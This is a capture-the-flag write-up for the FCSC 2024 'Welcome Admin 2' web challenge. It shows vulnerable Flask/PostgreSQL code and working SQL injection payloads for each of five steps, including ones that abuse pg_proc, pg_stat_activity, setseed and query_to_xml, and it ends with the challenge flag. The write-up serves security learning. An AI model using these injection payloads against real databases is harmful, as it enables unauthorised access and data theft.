FCSC 2024 Qualification - Welcome Admin 2 (web)

FCSC 2024 Qualification - Welcome Admin 2

The sources for the challenge are available on hackropole.fr

The idea behind the challenge is to pass 5 steps in order to have the final flag. Each step consists of a Flask web page with a user-provided input. The global idea is to make each PostgreSQL query return true.

I did a lot of try and fail that should be worth documentation but It won’t be discussed here as they failed :

using currval to get the column and table name using literal query for step 5
spamming the INSERT query then using the pg_stat_activity table to grep the inserted value

step 1 : guest to admin

@app.route("/", methods=["GET", "POST"])
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(f"SELECT '{token}' = '{password}'")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 1:
        return False
    return bool(row[0])

The most straightforward one :

' or 1=1 --
select 'token' =  ''  or 1=1 --

step 2 : admin to super admin

@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(
        f"""
            CREATE FUNCTION check_password(_password text) RETURNS text
            AS $$
                BEGIN
                    IF _password = '{token}' THEN
                        RETURN _password;
                    END IF;
                    RETURN 'nope';
                END;
            $$
            IMMUTABLE LANGUAGE plpgsql;
        """
    )
    cursor.execute(f"SELECT  check_password('{password}')")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 1:
        return False
    return row[0] == token

The odd is that the injection is inside the parameter of check_password() and not in the IF statement. Thus it won’t be possible to just use the previous payload.

The token is inside the function definition. The function body can be queried within the pg_proc table. The following query will return the body of the function

 select prosrc from pg_proc where proname='check_password'

As the token is a 32 sized hexadecimal string, we can use a regex to extract it from the body.

'||(select substring(prosrc, '[0-9a-f]{32}') from pg_proc where proname='check_password'))--

step 3 : super admin to hyper admin

@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(f"SELECT '{token}', '{password}';")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 2:
        return False
    return row[1] == token

The query select the token, add a comma and insert out unsanitized query. The token isn’t defined elsewhere than the actual query.

PostgreSQL has a table that hold the current queries : pg_stat_activity

postgres=> select 'token', query from pg_stat_activity;

 ?column? |                    query
----------+----------------------------------------------
 token    | <insufficient privilege>
 token    | <insufficient privilege>
 token    | select 'token', query from pg_stat_activity;
 token    | <insufficient privilege>
 token    | <insufficient privilege>
 token    | <insufficient privilege>
(6 rows)

It did a sub selection to query the query itself and extract the hexadecimal token

'|| substring(query,'[0-9a-f]{32}') FROM pg_stat_activity WHERE query LIKE '%query%
SELECT '{token}', ''|| substring(query,'[0-9a-f]{32}') FROM pg_stat_activity WHERE query LIKE '%query%';

step 4 : hyper admin to turbo admin

@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
    cursor.execute(f"""SELECT md5(random()::text), '{password}';""")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 2:
        return False
    return row[0] == row[1]

The query is quite the same except the token is hashed with md5. To validate the challenge we need to provide the md5 value of the random value.

I decided to go with the setseed function to control which random text will be generated. If the seed is set to 0 the next md5 value will be 4d359fe4a63dd3d663c742aa88ef514a.

select setseed(0); select  md5(random()::text);

               md5
----------------------------------
 4d359fe4a63dd3d663c742aa88ef514a

The payload will be as :

4d359fe4a63dd3d663c742aa88ef514a' FROM pg_stat_activity WHERE ''=(select ''||setseed(0))||'
SELECT md5(random()::text), '4d359fe4a63dd3d663c742aa88ef514a' FROM pg_stat_activity WHERE ''=(select ''||setseed(0))||'';

SELECT '4d359fe4a63dd3d663c742aa88ef514a', '4d359fe4a63dd3d663c742aa88ef514a';

The where clause is needed to call setseed(0) before the random() call else random would not have been seeded.

step 5 : turbo admin to flag

This step was the hardest for me.

@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
    table_name = "table_" + os.urandom(16).hex()
    col_name = "col_" + os.urandom(16).hex()
    token = os.urandom(16).hex()

    cursor.execute(
        f"""
        CREATE TABLE "{table_name}" (
          id serial PRIMARY KEY,
          "{col_name}" text
        );

        INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');
        """
    )
    cursor.execute(f"SELECT '{password}';")
    row = cursor.fetchone()
    print(row)
    if not row:
        return False
    if len(row) != 1:
        return False
    return row[0] == token

The step create a random table and random column then insert the flag inside it.

The thing is that PostgreSQL doesn’t allow dynamic table and column queries, so you can’t do something like :

SELECT * FROM (SELECT table_name from information_schema.table)

The best flex was to find a function that take a literal PostgreSQL query as parameters like query_to_xml(query text, ...)

So you can do something like :

query_to_xml('SELECT * FROM ' || (SELECT table_name from information_schema.table WHERE table_name like 'table_%'))

Then you just have to extract the table name from the query and then the token from the XML returned value. There is also a bit of casting from XML to text.

-- first get the table name and extract it with a regex
SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'

-- then query the table
DOCUMENT query_to_xml('SELECT * FROM '||(SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'),true,true,'')

-- finally cas it as text and extract the token from the XML format
'||(SELECT substring(substring(XMLSERIALIZE(DOCUMENT query_to_xml('SELECT * FROM '||(SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'),true,true,'') as text),'>[a-z0-9]{32}<'),2,32))||'

-- a bit more readable ?

(SELECT 
    substring(substring(
        XMLSERIALIZE(
          DOCUMENT query_to_xml(
            'SELECT * FROM ' ||(
              SELECT string_agg(substring(table_name, 'table_[a-f0-9]{32}'), '-') 
              FROM information_schema.tables 
              WHERE table_name like 'table_%'
            ), 
            true, true, '') as text), 
        '>[a-z0-9]{32}<'), 
2, 32)

FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}

Some helpful resources :

:: Summary

:: Articles

:: Publications

:: Write-up

:: CTF

:: TAGS